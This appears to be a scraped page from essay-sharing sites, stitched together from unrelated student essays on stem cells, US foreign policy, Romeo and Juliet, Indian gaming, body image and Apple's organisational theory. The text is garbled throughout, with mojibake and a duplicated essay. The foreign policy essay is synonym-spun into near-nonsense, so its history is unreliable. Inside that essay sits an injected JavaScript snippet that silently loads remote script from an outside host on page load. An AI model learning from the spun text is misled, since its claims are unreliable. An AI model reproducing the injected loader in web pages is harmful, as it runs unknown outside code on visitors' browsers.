The Issues Surrounding Stem Cell Research - 1262 Words

â€Å"At its core, this issue forces us to confront fundamental questions about the beginnings of life and the ends of science. It [stem cell research] lies at a difficult moral intersection, juxtaposing the need to protect life in all its phases with the prospect of saving and improving life in all its stages.† George W. Bush in his address at the Bush Ranch in Texas precisely captures the essence of the issues surrounding stem cells. â€Å"Stem cells are undifferentiated cells that have the capability of self replication as well as being able to give rise to diverse types of differentiated or specialized cell lines.† (Stien). Researching these cells can lead cures some of the most devastating ailments. Despite the research’s vast†¦show more content†¦Ã¢â‚¬Å"Stem cell researchers believe that much greater results could be achieved by using embryonic stem cells because these cells can differentiate into a far greater number of cell types† (pote ntial uses for stem cells). Stem cells are affected heavily by their environment. For example, â€Å"researchers have taken adult stem cells from the brains of rats and put them in bone marrow and watched, in astonishment, as they spewed out blood cells† (Gorman). When harvesting embryonic cells the embryo is destroyed essentially ending any chance of life. On the other hand, somatic stem cells can be found within humans throughout any stage of life and obtaining these cells result in no harm to the donator. However, somatic cells do not have near the same promise as embryonic cells but, they still have many uses. Thus, these cells challenge both the boundaries of science and boundaries of our morals to obtain a healthy life. In 2001, George W. Bush outlawed federal funding for human embryonic stem cell research (Thompson). Without proper funding for the research the scientists were restricted by their funds to finding the cures they’ve dedicated their life to. Since the the government stopped funding the research the progress essentially halted however, in 2009 things changed. In a landmark decision, President Obama lifted the ban on the funding of stem cell research with the signing of an executive order on March 9th. According to President Obama in his

Foregin Policy Essay Research Paper Foreign PolicyWith free essay sample

Foregin Policy Essay, Research Paper Foreign Policy With the universe equilibrating on the border of devastation, foreign relationships are highly of import to the United States of America. The United States is to the full recognized as the most powerful state on the planet Earth, and with that power comes a unequivocal sense of duty. The U.S. needs to pay close attending to this duty if it hopes to maintain its topographic point on the throne as male monarch of the states. This is where the United States foreign policy comes into drama. Foreign policy is basically positive or negative interaction with other states every bit good as the ends and rules that are included. The United States have a twosome of picks refering their place ; they could play the portion of universe leader or the portion of universe lone wolf. Let # 8217 ; s expression at the point of view of an mean college pupil whose cognition of universe personal businesss is slightly missing and so discourse the possible places the United States can take in respects to their topographic point in the universe. I will besides travel over an illustration of each and acquire a appreciation of what our authorities # 8217 ; s two political parties, the Democrats and the Republicans, say about these. The chief intent of every states foreign policy is to last and remain stable in today # 8217 ; s universe. It is policy that provides a strong national security, maintain a good economic system with other states, and it is a opportunity to supply influence in the universe ; but above all this is the privation for international peace. One of the chief ways to carry on good foreign policy is that of diplomatic negotiations, where states negotiate and via media jobs they might hold in order to acquire along. By these diplomatic dealingss, states can interact with one another and larn to work together for a better apprehension of each others states. Another method of foreign policy is that of being a lone wolf or isolationist. Isolationism is the thought that we keep to ourselves and our ain western hemisphere instead than venture into the personal businesss of the eastern universe. This was fundamentally the recognized position taken by the United States up until about the first universe war when President Woodrow Wilson decided to immerse into the war attempt. Then a peacekeeping association came approximately called the League of Nations, which Wilson helped suggest, but the United States Senate gave it a house # 8220 ; no # 8221 ; . This kept the United States in its lone wolf province one time once more. Some old ages subsequently the United States entered a period of rousing refering acquiring out and about in the universe. We journeyed into a clip of Internationalism after the 2nd universe war but it was many earlier events that led up to this, peculiarly our interaction with Latin America. Back when the United States was merely interrupting off from Britain and get downing as a state, President James Monroe came up with a declaration called the Monroe Doctrine. In 1823 he wrote this, stating European states to maintain their olfactory organs in their ain hemisphere. What Monroe didn # 8217 ; t cognize was that he was set uping a beginning to a leading duty in non merely the Western hemisphere, but in the full universe. The United States began lodging up for states such as Mexico and Puerto Rico, and shortly got involved in assorted other Latin American states. In fact, the United States got involved eight times from 1904 to 1934, so once more in the personal businesss of Guatemala, the Dominican Republic, and the devastation of the collectivist authorities of Brazil after the 2nd universe war. It was during the beginning of World War II that the United States began to acquire more involved. At first the United States tried to maintain to itself and remain out of the combat. But when Germany, Japan, and Italy tried to spread out by force into China, Ethiopia, Poland, Austria, and present twenty-four hours Czech Republic, Britain and France declared war on Hitler, and the United States did nil. It wasn # 8217 ; t until that fatal twenty-four hours of December 7 in 1941 when the United States had had plenty. Pearl Harbor was attacked and Americans died, which was more than plenty for us to get down our trek into Internationalism and intercession. After World War II, the United States began its journey as universe leader. It was now clip for America to aid other states rebuild and start its hatred of Communism. George Marshall, an Army General for the United States came up with the Marshall Plan, one that would supply extended aid for other states in Europe by supplying loans for economic recovery. Subsequently America plunged itself into a war with North Korea to protect its neighboring South Korea, this was possible through the United Nations Security Council and although many Americans lost their lives, we created a bond with the South Koreans. The following set of foreign assistance came when John F. Kennedy was President. Kennedy non merely began the pacification force called the Green Berets to halt communism, but besides invaded Cuba and posed the inquiry of war with Russia. Then came one of the biggest intercessions in Americas history of foreign policy. In the late 1950 # 8217 ; s the United States, under John F. Kennedy sent 16,000 American military # 8220 ; advisors # 8221 ; to Vietnam. The southern based democracy of Vietnam was in despairing demand of aid against the Viet Cong, which was the Communist funded North Vietnamese. This was really the beginning of two wars. The first was a battle between Vietnamese patriots and the Gallic colonial government which was aided by the United States at the clip. During this 2nd war the United States stepped in to take the / gt ; topographic point of France against the northern based Communists and the southern insurrectionists. The United States felt it had to acquire involved to halt this Communist onslaught, if it were to go on that the Communists won, we thought that the # 8220 ; Domino theory # 8221 ; would travel into affect. Basically what this theory said was, that if one southeasterly state were to fall to the Communists the remainder would follow like dominoes. After Kennedy was assassinated Lyndon B. Johnson stepped into the function of Vietnamese defender and current Communist curse. He increased the United States military personnels and started a program to bomb the North Vietnam country. During the class of the war Johnson relied to a great extent on the usage of Selective Service, the drafting of Americans into the military, to direct for support. All this support was for naught though, bow in January of 1973, a armistice was signed in Vietnam and the United States withdrew their military personnels and engagement as Vietnam was taken over by the northern Communist authorities. Americans now began a series of incredulity sing foreign dealingss that ended up in war. Some Americans were non really happy about the United States acquiring involved with other states # 8217 ; civil wars, but there were some that feel as I do ; that we were assisting to set and stop to Communist control in the universe. Although we were unsuccessful in the peculiar case of Vietnam, I think that the United States should take on the function as universe defender. I believe that the United States should decidedly play the portion of universe defender whenever and wherever possible. In the beginning, I was basically for the United States being Isolationist, but as clip progressed I decided that this is the lone manner that our state can travel. The United States is the most powerful state on Earth, both economically and militarily, this is a statement barely anyone can deny. The fact that we are the most powerful state merely says that we should take enterprise, and steer the universe towards peace. It is a duty that the United States has to other states in the universe. The ground for this is simple. Not merely does taking the enterprise of universe leader show the fact that we have power but besides other things. By refering ourselves with other states personal businesss we can do Alliess that will be good for the hereafter. Granted some expression at this as lodging our olfactory organ in other states concern, but I don # 8217 ; t expression at it that manner. I look at it like this, there will ever be those that are weak in t he universe and there will ever be the strong, hence I feel those that are in power and are strong, should lodge up for these states, and allow them cognize that they do hold some one else in the universe that cares. By affecting ourselves as universe constabulary if you will, we besides gain power in the procedure of making our portion of assisting others. Now that I have proposed my sentiment, it is of import that we see what our national leader and our authorities say about foreign policy. Lashkar-e-taibas take a brief expression at the Clinton disposal over the last term. Many say that by and big Bill Clintons # 8217 ; foreign policy for his first term is inactive and reactive. Leading Republicans say that the Clinton disposal was a foreign policy of wish fulfilment and that it wanted China to esteem their people and their rights, for Bosnia to be one state one time more, Hussein to be cowed, and North Korea to be wholly rid of atomic weaponries. This cautious and desirous attack to foreign policy made some Americans rather upset ; it is non like the United States non to maintain an active function in the universe. Clinton feels that he is making a good occupation though, and likes to be actively involved as a universe conciliator. In fact, late Clinton has began an enlargement of his presidential power refering foreign policy, and many historiographers say that the lone other president to equal this power was Nixon. Clinton has a bold attitude when it comes to intercession. He showed the power of the United States Chief Executive with his sending of military power to Haiti, Bosnia, Iraq, and Somalia. He wholly ignored the being of the War Powers Resolution which was put into action in 1973, says Political Scientist Louis Fisher. The War Powers Resolution was made in order to maintain the President from directing military personnels to other states without Congress blessing. Clinton does non desire to come across as a forceful leader though. In fact, President Clinton saw this strength as a menace to him going a symbol of peace in the universe. He thinks that merely America can accomplish planetary peace because of its matchless power and stature. In the # 8216 ; 96 run for Presidency, Clinton had a profound statement sing his docket for foreign policy. He talked about his election seasons foreign policy as non being really interesting to the mean Joe in a Barber store or in the coffeehouse of little town America and so said, # 8220 ; There are times when merely America can do the difference between war and peace, between freedom and repression, between life and decease # 8221 ; . It # 8217 ; s this concern by Clinton that has made him a good foreign policy President. When our initiation male parents were contending the British for independency and their very lives, they neer knew merely what a symbol of freedom the United States of America would go. They didn # 8217 ; t know that one twenty-four hours, this state of Rebels would hold the duty of keeping order in the universe we live in. The authorities has an duty to Americans to maintain them in touch with other states, non merely for our interest, but the interest of the universe. As the world power on Earth, we should do foreign policy an of import facet of our regulating. In the winter of 96/97 Bill Clinton gave a profound address to the Democratic National Convention in Chicago. He summed it up best with this, # 8220 ; We can non salvage all the universe # 8217 ; s kids, but we can salvage many of them. We can non go the universe # 8217 ; s police officer, but where our values and our involvements are at interest and where we can do a difference we must move and we must take. That is our occupation and we are better, stronger and safer because we are making it # 8221 ; . ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Romeo And Juliet With West Side Story Essays (1590 words)

Romeo And Juliet With West Side Story Andy Warhol once said, "They say that time changes things, but actually you have to change them yourself." Two hundred fifty years passed between the original Romeo and Juliet and the premiere of West Side Story on Broadway in 1957. However, time did not change the message of the story, simply the creators' unique visions evolved. Shakespeare's delivery of the timeless tale of desperate love in his classic Romeo and Juliet proves to only intensify through retelling and modern interpretation. Audiences cherish Romeo and Juliet as one of the most beloved plays of all time from the Elizabethan Age to the present. Romeo and Juliet have attained the role as the quintessential lovers, and the noun, "a Romeo," is synonymous with " lover." Shakespeare's Romeo and Juliet is closely based on Arthur Brooke's tale, The Tragicall History of Romeus and Juliet. The language, attitudes, and customs detailed in the play are generally English, in spite of Brooke's original Italian setting. In 1949, choreographer Jerome Robbins decided to retell Brooke and Shakespeare's romantic tragedy using song and dance, elements of racism and nationalism, and a modern vernacular. Robbins called upon the musical talents of composer Leonard Bernstein and the words of Arthur Laurents for the script and book. The love story proved to have universal appeal throughout all artistic forms, as it had already been adjusted for opera and ballet. The contemporary adaptation of this timeless classic alters details and deepens the message of hatred, but maintains Brooke and Shakespeare's vision. The relationships between the characters, plot sequence, and theme of hatred in West Side Story and Romeo and Juliet intertwine resulting in two similar, yet varying versions of the most famous love story of all time. The relationships between the characters of West Side Story and Shakespeare's Romeo and Juliet are reflective of their respective time periods and the original story. Maria and Juliet represent a slightly practical counterpart to both Tony's and Romeo's idealistic nature. Maria's brother Bernardo and Juliet's cousin Tybalt portray impulsively stubborn and violent characters who both die from wounds inflicted by the male lead. Lieutenant Schrank is similar to Prince Escalus, although Schrank is unfair in his treatment and attitude towards one gang- the Sharks. Anita and Nurse both take on the role as Juliet's confidant and trusted friend, often tampering with their roles as messengers. The mischievously tomboyish Anybodys, who desperately wants to be a Jet, would best fit into the role of Balthasar, since it was she who aided Tony in escaping after the rumble, as well as later informing the other Jets that Tony was being hunted. Finally, the character of Doc appears to fulfill the role of Friar Laurence because both possess somewhat of a peacekeeping nature. Doc attempts to get through to Tony by dramatically pleading, "Why do you live like there's a war on? Why do you kill?" (2.5). All of the characters are consistent to the heart and soul of the story as well as the slightly differing plots. West Side Story maintains Romeo and Juliet's intricate and exciting plot using appropriate adaptations to accommodate mid-twentieth-century pop culture. For instance, both artistic forms portray mutual disrespect between the parties. At the dawn of Romeo and Juliet, Capulet's cohorts harass Montague's. "I will bite my thumb at them; which is a disgrace to them, if they bear it," boasts Sampson (1.1.42-43). In the opening scene of West Side Story, several members of a Puerto Rican gang insult A-rab, a member of the opposing gang. It is here where Lieutenant Schrank becomes aware of the potential rumble. In Romeo and Juliet Escalus, Prince of Verona, threatens, "If ever you disturb our streets again, your lives shall pay the forfeit of the peace" (1.1.103-104). In West Side Story, Schrank mediates in his own way when he declares, "I got a hot surprise for you: you hoodlums don't own the streets"(1.1). Later, another similarity takes place. Riff convinces Tony to attend the dance at the gym just as Benvolio persuades Romeo to attend the Capulets' masquerade. Tony confesses to Riff that he's "reachin' out for something"(1.2), just what, he doesn't know. Riff encourages Tony by proposing, "Maybe what you're waitin' for'll be twitchin' at the dance!" (1.2). Shakespeare and director Jerome Robbins choose to draw the audience's attention to the dramatic lovers by giving them unique and eminent qualities. At the Capulet ball in Shakespeare's Romeo and Juliet, all of the characters speak in blank verse, but when Romeo and Juliet converse, they speak in sonnet form. Throughout the

Free Essays on Indian Gaming

A current controversy surrounding our community are the â€Å"compacts† concerning the state and Indian Gambling; opponents of Indian Gaming say that the revenue from casinos is either drawing away from the Arizona economy or becoming a burden for it. These statements are far from the truth. In a recent article for The Arizona Republic David LaSarte, executive director of the Indian Gaming Association stated that the revenue gained from a casino helps both the Indian community as well as the non-Indian community. Indian reservations, which for years have lived in desperate poverty are now gaining and expanding the most basic of services: health care, education, and police and fire services. In the non-Indian community, any revenue gained from the casinos is automatically spent in Arizona cities on goods and services. The money generated from Indian gambling is helping Indian communities gain financial independence as well as contributing to the Arizona economy. As a result of the Supreme Court decision in California v. Cabazon Band of Mission Indians, Congress passed the Indian Gaming Regulatory Act (IGRA) in 1988; recognizing Indian gaming rights.1 Another reason Congress passed IGRA was in an effort to, â€Å"balance Native American legal rights with the interests of the states and the gambling industry† (Anders 1). Within the IGRA there are specific rules that the tribes must adhere to. The most important rule is that the states and the tribes must, â€Å"negotiate in good faith† to create gambling compacts (Anders 1). These compacts are legal agreements made between states and the tribes regarding the kinds of games played at the casino, size of the facility, betting limits, regulation, and security. Not only do these compacts ensure the states of their rights, but they also secure the tribes as the sole owners and primary beneficiaries of the gaming revenue. The second stipulation is that all casino profits must be used ex... Free Essays on Indian Gaming Free Essays on Indian Gaming A current controversy surrounding our community are the â€Å"compacts† concerning the state and Indian Gambling; opponents of Indian Gaming say that the revenue from casinos is either drawing away from the Arizona economy or becoming a burden for it. These statements are far from the truth. In a recent article for The Arizona Republic David LaSarte, executive director of the Indian Gaming Association stated that the revenue gained from a casino helps both the Indian community as well as the non-Indian community. Indian reservations, which for years have lived in desperate poverty are now gaining and expanding the most basic of services: health care, education, and police and fire services. In the non-Indian community, any revenue gained from the casinos is automatically spent in Arizona cities on goods and services. The money generated from Indian gambling is helping Indian communities gain financial independence as well as contributing to the Arizona economy. As a result of the Supreme Court decision in California v. Cabazon Band of Mission Indians, Congress passed the Indian Gaming Regulatory Act (IGRA) in 1988; recognizing Indian gaming rights.1 Another reason Congress passed IGRA was in an effort to, â€Å"balance Native American legal rights with the interests of the states and the gambling industry† (Anders 1). Within the IGRA there are specific rules that the tribes must adhere to. The most important rule is that the states and the tribes must, â€Å"negotiate in good faith† to create gambling compacts (Anders 1). These compacts are legal agreements made between states and the tribes regarding the kinds of games played at the casino, size of the facility, betting limits, regulation, and security. Not only do these compacts ensure the states of their rights, but they also secure the tribes as the sole owners and primary beneficiaries of the gaming revenue. The second stipulation is that all casino profits must be used ex...

ARGUMENT - ESSAY Example | Topics and Well Written Essays - 500 words

ARGUMENT - - Essay Example Humans, as we now believe, and would not argue against it, should not live along with the beasts in the forests, but rather in their own home where their existence is protected. Humans take comfort and safety in the homes they build and live in. Modern technology, a result of an increased understanding of human existence and the natural resources that surrounds them, has provided the needed comfort that each one of us enjoys so far. These abilities to develop massive and powerful high-tech machineries made us believe that we are able to take nature in our hands as well. Maybe at some point we do, but not in the long run. Survival is natural to humans that in order to achieve this, we create laws and impose them to attain equality among humanity. However, it is not in the nature of human beings to be contented of what they already have. We tend to abuse the environment to find the contentment we are looking for. It is in our nature to wage wars, murder, as well as poison nature that in fact sustain our existence. I believe that our imperfections as human beings apply in order to make us realize that we are in no way at par with the power of nature. Wars destroy nature in such dreadful ways than we realize. Daily living conditions is a daily struggle for Mother Nature as humans pollute the air and water that is necessary for the survival of other organisms as well – in fact those that humans consume every day to sustain human life. Such horrible activities make us think that we have overpowered nature. On the other hand, if we will look into the current environmental phenomena all over the world, nature’s response to our abuse clearly shows that she is still the most powerful one. Powerful tsunamis, enormous storms, and strong earthquakes are all over the news killing thousands of people every year. Humans are left vulnerable against these disasters that strike them most particularly at times when they are least prepared. Even when they thought they

Body Image & the Media Essay Example | Topics and Well Written Essays - 750 words

Body Image & the Media - Essay Example The perception by the media resulted to mental disorder, which are expressed by the way individuals behave, express and respect themselves. Media, therefore, have the tendency of creating new cultural beliefs and behavior in the society. Appearance is sometimes deceptive. The author demonstrates bluntly the major factor that influences the perception of individual appearance and the acceptable and modest body size. Since 1950s, advertisement and television programs have created a dramatic impact on the American society in terms of mode of dressing and insight regarding the humanity. In this perceptive, the influence of the media destroyed various cultures in the society and eschewing a new culture with its own perception, social constructed roles and behavior of individuals based on their gender or sex. The article identified that for decades, the American society has been bombarded with media driven depictions. The major concept that drives the depiction is what constitutes as the acceptable female behavior and characteristic as well as male desired traits and behaviors. Media have great influence on the mental image of females as a thin body image as depicted by the fashion models. There is accentuation on the mer its and attractiveness of large breast. In males, media altered the accepted image of a male to a tall, slender and masculine body. The impacts of media on the American society have generated an intriguing argument by various scholars and authorities. Parents, cultural critics and medical authority for decades have criticized the marketing ability of media on the perception of human being and mental health of the American society. In this perspective, the socio-cultural standards of feminine beauty have been presented in all manners of media demonstrating women with image that is considered as being the ideal body. Media creates a flaw mental image assimilated by media-driven culture. The images used for

Organisational Theory Essay Example for Free

Organisational Theory Essay Apple is a global giant whose success has been built on outsourcing to a range of other organisations located across the world. How can different organizational theory perspectives assist us in acquiring different understanding of Apple, its organizational network and influence? In this essay you must use at least two perspectives to analyze Apple. Introduction In this revolutionised world, changes occur rapidly, be it in an organized or disorganized way (Henry Veltmeyer 2008). Organisations are dealing with more complex systems and concepts. The study of organisational theories gradually gains importance because it involves the study of abstract issues relating to organisations. It is essential as it benefits in analyzing and discovering new meanings to life both inside and outside the organisation (Hatch and Cunliffe 2006). Apple’s innovative story has been told and retold all around us. Its success is largely due to the late co-founder, Steven Paul Jobs. With the passing of Steve Jobs, Apple Inc is still prospering and currently the most admired company is the world (Fortune 2012). In organisational theory, the success of Apple can be analysed into two perspectives that vary extremely; Modernist and Post-Modernist. The modernist attributes Apple’s success to its unique organisation chart and ‘knowledge is power’ organisation culture. Post-modernist give credits to Apple’s acknowledgement of discourses and environment influences related to the organisation. Apple’s ability to churn out great quantities of products to meet the demand and its consistent engagement with stakeholders showed the efforts to be competitive in the industry. It is also a significant contribution to its success. However, Apple’s way of achieving success is a cause of debate due to its pathological relationship with its stakeholders. This essay aims to provide an exploration into Apple’s Inc organisation; perspectives of its stakeholders and how the relationship towards its environment. The context of the essay will be separated into two parts. Part A and B. Part A will touch on the meta-theoretical assumptions of modernist and post-modernist and how it relates to organisation’s power, control and the environment. Part B will apply the assumptions and definitions in part A to analyze modernism and postmodernism perspectives on Apple. The focus will be on the ways that Apple demonstrates power and how it influences its environment and network which includes stakeholders. Part A Ontology Ontology is defined as the science or study of reality (McAuley, Duberley Johnson 2007). It seeks to clarify what are the reality and the phenomena we take to constitute aspects of the reality. Modernist’s ontological assumption is described as objectivism. It claims that social world and reality is in order and that the reality is in a rational, structured manner regardless of our knowledge (Boisot Mckelvey 2010). They view the existent of time is real regardless of the human’s awareness because of humans develop hypothesis and propositions that showed the reality of time. On the other hand, there is no clear stance on the ontological assumption of postmodernism. It is developed in reaction of modernism position (Moore 2001). Postmodernist rejects and challenge the modernist view and argue that time is ‘created’ through the discourses of human because it provides meaning and assurance to humans. Epistemology Epistemology is the study of the criteria we set and how it justifies the belief. It seeks to clarify how beings create knowledge to claim the world is justified. Modernist takes a positive point of perspectives in viewing the world in search for knowledge. Modernist’s epistemological assumption is positivism, whereby rational hypotheses and practices of knowledge will define reality and understand nature(Hatch and Cunliffe 2006). They sees ‘truths’ to be the discovery of the human’s accurate hypothesis and conceptualization to be analyzed with the reality found in objective world. Nonetheless, postmodernism rejects modernism’s notion of ‘truths’. It describes reality as an illusions created by languages and discourses. It refers to the subjective means by which humans organise what they perceive. Discourses are thoughts, written or spoken or any mediums that construct a particular phenomenon, they are in a social and politically linguistic framework that influences humans experience and understanding of it (Crowther Green 2004). Instead, postmodernist aims to provide an alternative explanation/meaning through the use of discourses. Methodology influence on Organisation Modernist Continuing from the epistemology of modernism, it sees apprehension of knowledge means understanding all aspect of an organisation functions. Ways of solving and analyzing organisation issues are developed to better manage and create profitability for the company. Modernism and the methodological term, positivism, underpin the structures and episteme legitimacy in this ‘noisy’ world. Post-modernist Post-modern methodology lies in ‘anti-positivism’, where language, discourse and deconstruction are the main influences. Language can have different meaning and different significance when combined with other words (Moore 2001). The construction that could be produce may vary extremely in different circumstances. Postmodernists call this idea the Ludwig Wittgenstein’s notion of language games. Knowledge creates and reproduces discourse that exercise power and distort the reality that modernist assumes. The concept of discourse emerges in ‘poststructuralist linguistics as a means of discussing the collective process that constructs and shapes language in use.’ Deconstruction ‘is a way of reading and rereading texts using different contexts in order to expose their fundamental instabilities and multiple interpretations.’ Organisation Power and Control Organisations require power. Power in organisations has to operate on the phenomena of changing organisation practices and changing the ways in which organisation theorist have theorized the practices (Hatch and Cunliffe 2006). Max Weber suggested that power is making decisions according to planned results where the social actor gets to decide the means and ends of action. Political scientist, Robert Dahl further resides the relationship of the actor by suggesting that actors may be individuals or collective which leads to different instruments of power (Clegg, Courpasson Phillips 2006). ‘A’ can get ‘B’ to do something that ‘B’ would not otherwise do, just like the abstract ideology of billiard where the significant lies more on the strategy and gamesmanship behind the cue rather than final position of the balls. Anthony Giddens, expanded Weber’s definition of power stating that power involves a set of capabilities that intervene a given set of events by 2 distinct types of resources; allocative and authoritative. In modernist organisations, Weber argued, formal rationality would be best established and where dominance will be most complete. Modernism views power in organisations as a structure to coordinate activities in the pursuit of organisation goals. It seeks to impose order on the chaos and to integrate the competing interest and agendas so that a single, harmonious vision and a consistent set of premises govern the conduct of participants. The instrument of power is seen to resolve conflicts through negotiation and maximize control of operations. Modernist views controlling individuals in organisation necessary because employee possesses self-interest that will hinder organisation interest. The modernist control theories of bureaucracy, clan and agency will be applied on Apple. In contrast, Postmodernism theorist argues that unified goals can arise only when dominant actors delegitimize alternative interpretations and rationalities. It emphasizes the central role of power in shaping social institutions. The connection of power and knowledge is assumed to be inseparable and thus knowledge loses a sense of innocence and neutrality (Scott 2003). Postmodernist insist that the rational formal structure must be set alongside various informal systems that represent attempts to resist any single vision of order (Hassard 1995). Foucault’s theories pointed out that resistance towards domination is inevitable as power comes from everywhere. Any form of resistance will just reinforce them (Clegg et al. 2006). It views power as a multi-dimensional because it is like a network that dispersed throughout social, political and organisational world. Organisation Environment and Network Organisational environment is anything residing outside the boundaries of organisation that may impact upon the organisation. The organisation needs to adapt well to its environment and vice versa for the relationship to operate in an ideal prospect (Hatch and Cunliffe 2006). Modernist believes there is boundary between organisation and the external environment. Environment relates the factors such as inter-organisational network and its stakeholders. Networks are defined as stakeholders, consumers, environmental groups, competitors and so on. Modernist theorist assumes that there are inputs and outputs between the organisation and environment. The environment empowers and constrains an organisation; it impacts upon organisational goals and needs to be managed. Stakeholder theory refers to any actor that is vital for the survival or success of the organisation, and because of the boundary, other factors does not concern. As the focus is explaining how environmental influence operates, modernist researchers developed theories to analyze the environment. The Environmental contingency and resource dependent theory will be applied on later on. On the other hand, postmodernist deconstruct the dominant assumptions such that organisations and the environment are two distinct entities where there is no fixed boundaries; organisations are part of the environment (Boisot and Mckelvey 2010). By deconstructing, it aims to better serve the society’s needs and desires. Postmodernist theorist believes discourses used to define organisation-environmental relations are served to reinforce authority and inequality between an organisation and those ‘external’ to the organisation. Its stakeholder theory examines the ethics of constructing our organisations in ways that acknowledge the rights of those whose lives are influenced by the organisation. Compared to modernist, the definition is wider because it has a boundary less organisation and environment. It includes actor that affects or is being affected by the organisation, therefore even factors outside of the organisation are being considered. Part B Apple’s Organisation Power Control This part of the essay aims to analyze and understand Apple’s organisation in different perspectives in terms of its organisation power and structure. In modernism, the notion of power is based on authority. This is where the CEO, has the right to exercise his power. Steve Jobs has been always at the center of attention for being ruthless in unsuccessful projects. For example, the failed venture of MobileMe in 2008 caused the disbanding of the team (Lashinsky 2011). This rationalization is what modernism lean towards as they believe bureaucratic justification will lead to technical efficiency. Modernist researchers analyze that positivism exist in Apple. Apple’s philosophy of only choosing the best of the best candidate during interviews mirrors Steve Jobs statement of ‘A worker hires A worker, B worker will hire C worker’ (Lashinsky 2012). It displays that only rational hypothesis of hiring and trusting talented employee through tried and tested results in the business world that will bring Apple success. In terms of output and behavior control of the employees, it is difficult to measure at times. Modernist theorist uses few methods of control theories to sought control over employees so as to maximize organisational interest. In modernist view, these theories can be applied to Apple accordingly. Bureaucratic and Clan theories aim to achieve a desirable corporate culture within the rules and authority among the employees. In Apple, there is a top down management where it all begins with the CEO, then to the executive team. They have a unique organisation circular structure where the CEO is at the center and the network of executives spread out from there. Late Steve Jobs also instilled a concept that the employees’ working style are own task-oriented, which creates differentiation and departmentalization. The corporate culture also became more united and there is no more fiefdom. The successes of the products are credited to Steve Jobs ability to instill the ‘Apple Way’ strategy to give the organisation clear directions, individual accountability, sense of urgency and the change of focus to products instead of profits. Agency theory focuses on ensuring that the executives perform in the best interest of the organisation. The focus turns to performing for the organisation, therefore controlling outputs become more important. Performing employees gets to attend the famous Top 100 meeting which the CEO will personally invite them. This theory also emphasizes the success of secrecy working in a modernist perspective where Apple controls the information that concerns their products to height up the hype and gain more profits. Alternatively, postmodernist deconstruct power and control, rebutting the single dimension and views power presence throughout social, political and organisation world. Apple’s tip top secrecy organisation is well known (Lashinsky 2012). Postmodernists look at secrecy as a form of imposing a multidimensional power on its employees by the top management. Inside Apple, employees cannot have any resistant to the secrecy culture. Any resistant will result in greater power. Greater power comes in the sense of punishment; employees may get sacked (Clegg et al. 2006). More precautions will be also taken to minimize the chances of it happening again. Therefore, instead of seeing secrecy as a form of increasing efficiency and profits for the Apple, postmodernism argues that it’s a form of power that gives the top management control over the organisation. Another aspect of multidimensional power analyzed was the ability of Apple not making any indication to stop the global group who wants to boycott Apple products due to the massive suicides rate and pressure to increase workers’ wages at its main supplier, Foxconn. Postmodernist argues that in a one dimensional power situation (modernist perspective), Apple will find means to ‘kill’ the enemy (the boycott group) with its powerful influence in the business world. Here, Apple is using a second dimension by not ‘killing’, but proving to the rest of the people that Apple is still an ethical and superior organisation. This way, Apple silently gets an army of ally to do the job to influence the boycott group to change its mindset. From another point of view, on the contrary, there is an increasing sign of fresh debates concerning postmodernism theory on whether is resistance really forbidden. The suicides cases at Foxconn and significant rise of terrorism in the past decade do post a serious question to postmodernist researchers (CCTV 2010). These extremes examples show signs that resistance might have, in fact, the ability to affect power positively. The suicides cases have indirectly forces Foxconn to reconsider its management styles and most importantly increasing the workers’ wages (Chan Pun 2010). Apple’s Environment and its Network Influence Apple’s relationship with the environment is a two way situation. The following theories will analyze how Apple operates under the environment and its network. In modernism, it can be argued that Apple seems to go against the environmental contingency theory. Apple has a vision to avoid over complicating by manipulating its environment and structure. Steve Job has been making his organisation to be simpler in every ways, from the responsibilities of the executives to its consistency simplicity of its store layouts (Froud et al. 2012). Its product variety is also purposely concentrated to a few. With the limitation of variety, Apple countered this shortcoming by introducing a multi-dimensional model which minimize cost and increase its revenue. This substantial amount of revenue also includes introducing Itunes and the unique operating system. This counterabilty of its shortcoming is related to the next theory; resource dependency (Fortune 2008). As modernist views organisation are dependent upon the environment for inputs and outputs. Theorist Pfeffer and Salancik emphasize that organisation are under the restriction of their environment hence the resource dependence theory was developed. The aim was to find counter-dependencies to prevent the organisation from over reliant on the market. Apple’s need for the analysis for its resources is due to its vulnerability in the environment and the power that environment holds. The environment has the power to make demands on the organisation, for example, increasing competitions and thus resulting in competitive prices, product differentiation and efficient organisational structures and processes. Apple’s relationship with its supplier, Foxconn, is a prominent example of apple’s ability to navigate the harsh world of environmental challenges to find ways of getting cheaper labour. The jobs created in China are twice compared to USA, but the differential in salary showed USA has a significant larger share of the payout (Freeland 2011). Apple also created counter dependency by having joint ventures with Samsung Electronics to have them make the processor chips and alliances with companies like Google and Youtube to make use of their world map and video applications. By inventing their own operating systems and programs, it also provides Apple with increase efficiency because they do not need to rely on the environment to react if they have any new ideas or concepts. Critics have argued that Apple has been adopting a narrow view on the perspective of stakeholder theory because they will neglect the factors that are indirectly connected to the organisation. This interpretation mirrors modernism due to its creation of the boundary of the ‘outside’ world and its stakeholders. The comparison made earlier with the jobs created in China and USA suggested that Apple is adept at avoiding the social obligations to provide secure, internal, high quality employment for its own nation, USA. This generates another thought on business ethics that Apple is actually prioritizing on getting the highest profit margin (their average profit is already approximately 70% of selling price) instead of the reason of the competitive industry. On the other hand, postmodernist claims that stakeholder theory is an integration of the organisation and stakeholders, thus they see Apple actions to affect anyone who are affected even if it is indirect. In Apple’s website, they have the environmental responsibility page to ensure its stakeholders are assured that Apple do consider every factor that relates to its organisation to be taken care of (Apple 2012). Postmodernist also argued that by creating boundary between organisation and environment, there will be negative externalities. Apple’s ability to entice consumers with the introduction of Iphone 5 is a cause of negative externalities. Externalities such as driving the consumption rate of the society when Iphone 4s still have a long product lifespan, this creates another issue of environmental repercussions and increasing workload/stress issues at Foxconn. Apple’s does produce positive externalities in the process of unveiling their products. For example, consumer did not have to bear the cost of intense advertising by Apple because Apple’s strategy of using multi-dimensional power to influence the public to do the ‘advertising’ for them worked. Blogs, video parody and even news were heavily speculating and discussing about the new products, thus bringing in ‘free’ advertising as a form of positive externality to the consumers. Conclusion The modernist and postmodernist theories thus assist us in analyzing Apple in a different light. It has shown the different perspective of Apple in terms of power, control and its environment. It showed that power can be multi-dimensional and formidable. On the contrary, questions are being asked of postmodernism’s resistance stance and environmental contingency theory. Although this essay cannot attribute its success to a single 